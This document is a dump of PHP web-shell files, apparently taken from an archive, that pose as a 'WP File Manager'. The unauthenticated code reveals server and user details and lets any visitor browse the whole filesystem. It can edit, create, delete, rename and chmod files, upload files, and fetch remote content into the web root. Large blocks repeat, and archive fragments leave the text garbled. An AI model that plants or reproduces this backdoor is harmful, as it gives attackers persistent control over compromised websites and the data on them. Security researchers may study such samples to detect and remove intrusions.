'_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]qÜd©Ë©Ëgpt2@drsupernova.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]CO¹ò®Ë®Ëgpt2@drsupernova.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
